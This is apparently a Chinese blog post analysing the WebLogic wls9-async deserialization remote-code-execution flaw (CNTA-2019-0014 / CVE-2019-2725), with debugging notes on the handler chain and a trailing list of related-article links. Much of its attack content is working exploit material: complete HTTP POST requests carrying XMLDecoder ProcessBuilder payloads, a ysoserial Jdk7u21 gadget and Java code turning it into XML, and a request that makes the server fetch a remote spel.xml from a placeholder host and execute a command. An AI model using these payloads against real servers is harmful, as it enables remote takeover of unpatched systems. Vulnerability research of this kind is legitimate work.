在调试weblogic,以前导入jar包都是在weblogic目录搜索*.jar拷贝出来在导入IDEA.有时候会出现好多相同的jar包,调试的时候就会出问题,实际上导入以下俩个包就可以了。1、是module模块。



2、是server下的lib包



POC如下

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.31.111:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 747 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

漏洞是在weblogic.wsee.async,jar包下,

那么处理流程大概也会是 async 路径下或者 wsee 路径下处理的请求包,

这时候在BaseWSServlet类下断,这个类继承HttpServlet,processerList发现对Soap处理跟进处理过程。



处理POST请求。



45行跟进



跟进分发器



62行,setHandlerChain,70行handleRequest对Handler进行处理



所有的Handler,既然是责任链调用,那么他会从 Handler 0 一直执行到 Handler 20,挨个查阅了后,发现大多是对环境的各种值做存取操作而WorkAreaServerHandler 跟入细看。









触发点

CVE-2019-2725分析

poc构造如下:

1、java -jar ysoserial.jar Jdk7u21 "需要执行的命令" > payload.txt

gadgets使用Jdk7u21

2、将payload.txt生成xml格式

public class Payload{

    public static void main(String[] args) throws Exception {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("payload.txt"));
Object o = objectInputStream.readObject(); byte[] bytes = ObjectToByte(o); objectXmlEncoder(bytes , "payload.xml"); } private static byte[] ObjectToByte(Object obj) {
byte[] bytes = null;
try {
// object to bytearray
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(obj); bytes = bo.toByteArray(); bo.close();
oo.close();
} catch (Exception e) {
System.out.println("translation" + e.getMessage());
e.printStackTrace();
}
return bytes;
} public static void objectXmlEncoder(Object obj,String fileName)
throws FileNotFoundException,IOException,Exception
{ java.io.File file = new java.io.File(fileName);
if(!file.exists()){
file.createNewFile();
} java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
xe.flush();
//写入xml
xe.writeObject(obj);
xe.close();
oop.close();
}
}

3、生成报文

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 65684 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void>
需要拼接的部分</void></class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

前面处理流程和上面分析一样,还是在WorkAreaServerHandler 跟进看,最终漏洞触发点如下:



通过FileSystemXmlApplicationContext类来构造poc:



poc如下:

POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 649 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header> <wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void><string>http://x.x.x.x/spel.xml</string></void></class></java> </work:WorkContext> </soapenv:Header> <soapenv:Body> <asy:onAsyncDelivery/> </soapenv:Body></soapenv:Envelope>

spel.xml内容

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg value="calc" />
</bean>
</beans>

这里实例化FileSystemXmlApplicationContext这个类



调用FileSystemXmlApplicationContext的构造方法



初始化bean



调用pb bean中的方法,最终命令执行

详细分析看这篇文章:

https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247484640&idx=1&sn=dad9a86e9d131f8d7e592e617f6235bb&chksm=fa5aaa0dcd2d231bc3d0e5c0394e6e47c859e1e0165cab3bbe01cecf32e0c915a8fb4e34f29d&mpshare=1&scene=1&srcid=#rd

https://www.t00ls.net/thread-51008-1-1.html

下面这篇文章写的非常详细,怎样跟一个httpServerlet生命周期。

参考链接:

https://xz.aliyun.com/t/4895

另外几条链参考畅神的:

https://balis0ng.com/post/lou-dong-fen-xi/weblogic-wls9-asynczu-jian-rcelou-dong-fen-xi

CNTA-2019-0014 wls9-async 反序列化 rce 分析的更多相关文章

  1. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  2. ref:Java安全之反序列化漏洞分析(简单-朴实)

    ref:https://mp.weixin.qq.com/s?__biz=MzIzMzgxOTQ5NA==&mid=2247484200&idx=1&sn=8f3201f44e ...

  3. Joomla 3.4.6 RCE 分析

    Joomla 3.4.6 RCE 漏洞分析,首发先知社区: https://xz.aliyun.com/t/6522 漏洞环境及利用 Joomla 3.4.6 : https://downloads. ...

  4. Shiro 550反序列化漏洞分析

    Shiro 550反序列化漏洞分析 一.漏洞简介 影响版本:Apache Shiro < 1.2.4 特征判断:返回包中包含rememberMe=deleteMe字段. Apache Shiro ...

  5. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  6. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  7. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  8. [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...

  9. 企业安全05-Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)

    Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238) 一.漏洞描述 Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 ...

随机推荐

  1. [转]Angular CLI 安装和使用

    本文转自:https://www.jianshu.com/p/327d88284abb 一. 背景介绍: 两个概念: 关于Angular版本,Angular官方已经统一命名Angular 1.x统称为 ...

  2. 解决SharePoint 2010拒绝访问爬网内容源错误

    今天发现SP爬网出现了问题,持续时间蛮长的,一直爬不到内容. 解决方案: 这里有一条解决在SharePoint 2010搜索爬网时遇到的"拒绝访问错误"的小技巧. 首先要检查默认内 ...

  3. unsafe关键字

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.L ...

  4. 【手记】VSTO部署中的坑

    局域网部署,客户机安装时报[部署清单签名的证书或其位置不受信任]: 在[Internet 属性]里(可运行inetcpl.cpl打开),把服务器内网IP加进[受信任站点]就好,不用管excel信任中心 ...

  5. Eclipse配置MyBatis的xml自动提示【转】

    如果使用eclipse中,再写mybatis的xml文件的时候,没有提示,用“Alt+/”,不能把代码用快捷键敲出来: 可以试试以下几种方法: 第一种方法: 1.1:打开配置文件,按住Ctrl键,并且 ...

  6. java_查找里程

    题目内容: 下图为国内主要城市之间的公路里程: 你的程序要读入这样的一张表,然后,根据输入的两个城市的名称,给出这两个城市之间的里程. 注意:任何两个城市之间的里程都已经给出,不需要计算经第三地中转. ...

  7. MVC中使用JQuery方式进行异步请求和使用自带方式进行异步请求

    在MCV中使用异步请求可以很很高效地进行前台和后台的数据传递,在这里,笔者为初学者介绍两种在MVC中常用的异步请求处理方式. 在这里,我们通过在一个页面中放置一个按钮来异步获取当前服务器端的系统时间为 ...

  8. 30个极大提高开发效率的Visual Studio Code插件

    译者按: 看完这篇文章,我打算从 Sublime Text 转到 Visual Studio Code 了! 原文: Immensely upgrade your development enviro ...

  9. canvas-5Bezier-QuadraticCurveTo.html

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  10. SQLite保存报错sqlite.SQLiteConstraintException: UNIQUE constraint failed: ······ code 1555

    往数据库里保存数据的时候报错,用的afinal框架,明明在save操作之前执行了一遍deleteAll操作,还是报错. 百度了一下说报这种错有两种情况:一是定义的字段为not null ,插入时对应的 ...